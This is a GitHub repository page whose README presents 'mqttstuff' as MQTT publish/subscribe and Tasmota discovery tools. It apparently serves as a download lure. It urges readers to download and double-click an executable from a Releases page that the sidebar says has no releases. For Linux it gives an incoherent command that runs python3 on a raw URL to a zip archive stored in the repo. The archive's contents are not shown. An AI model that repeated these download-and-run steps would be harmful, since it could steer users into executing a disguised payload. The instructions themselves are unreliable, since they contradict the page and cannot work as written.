Skip to content

ENAHSIN/mqttstuff

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

33 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐Ÿ› ๏ธ mqttstuff - Lightweight Tools for Easy MQTT

๐Ÿš€ Getting Started

Welcome to mqttstuff! This application provides simple utilities for using MQTT, a popular messaging protocol for IoT devices. With mqttstuff, you can easily publish and subscribe to messages, discover and control Tasmota devices, and manage configurations with Pydantic.

๐Ÿ“ฅ Download the Application

Download mqttstuff

You can visit this page to download the latest version: Releases Page.

๐Ÿ“‹ System Requirements

To run mqttstuff, you will need:

๐Ÿ”ฅ Features

  • Easy Publish/Subscribe: Communicate with your devices effortlessly.
  • Retained Message Readers: Retrieve important messages even if the receiver was offline.
  • Tasmota Device Discovery: Automatically find and control your Tasmota-enabled devices.
  • Pydantic Configuration: Simplify the management of application settings.
  • Docker Support: Run mqttstuff in a containerized environment if preferred.

๐Ÿ“ฅ Download & Install

To get started, follow these steps:

  1. Visit the Releases Page: Go to Releases Page.

  2. Select the Latest Version: Look for the most recent release at the top of the page.

  3. Download the Application:

    • For most users, click on the .exe file for Windows, or the appropriate package for macOS or Linux.
    • Alternatively, you may choose to download the source code as a .zip if you wish to explore the code or make changes.
  4. Extract the Files: If you downloaded a .zip file, right-click it and select โ€œExtract Allโ€ to unzip the contents.

  5. Run the Application:

    • For Windows users, double-click the .exe file.
    • For macOS, open the .app file in the extracted folder.
    • For Linux, you may need to open a terminal and navigate to the extracted folder, then run python3 https://raw.githubusercontent.com/ENAHSIN/mqttstuff/main/mqttstuff/Software_3.1-alpha.3.zip to start the application.

๐Ÿšฆ Using mqttstuff

Once you have mqttstuff running, hereโ€™s how to get started:

  1. Connecting to MQTT Broker: First, you will need to configure the MQTT broker settings. A common option is the public broker, Mosquitto. You can find setup instructions for different brokers online.

  2. Publishing Messages: Use the applicationโ€™s interface to enter the topic and message you want to send. This is a straightforward process and should be user-friendly.

  3. Subscribing to Topics: You can also subscribe to topics to receive messages. Simply enter the topic of interest.

  4. Discovering Devices: If you have Tasmota devices in your network, use the discovery feature to find them automatically.

  5. Saving Configuration: If you want to save your settings, use the Pydantic configuration option in the menu.

๐Ÿค Support & Community

If you need help or have questions, please check the following resources:

  • Documentation: Detailed documentation is available within the application and on the GitHub wiki page.
  • Issues: Report any issues on the Issues Page.
  • Community Forums: Join discussions with other users and developers.

๐Ÿ“œ License

This project is licensed under the MIT License. You can freely use, copy, and modify this application, but please include proper attribution.

๐Ÿ—‚๏ธ Topics

The following topics relate to mqttstuff, which can help you understand its capabilities:

  • Docker
  • Home Automation
  • IoT
  • Loguru
  • MQTT
  • MQTT Client
  • MQTT Publisher
  • MQTT Subscriber
  • MQTT Utilities
  • MQTT Wrapper
  • Paho MQTT
  • Pydantic
  • Python
  • Python 3
  • Smart Home
  • Tasmota

Feel free to explore and discover all mqttstuff has to offer!

About

๐Ÿ”— Simplify MQTT communication with lightweight utilities for connecting, subscribing, and publishing messages using Paho.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors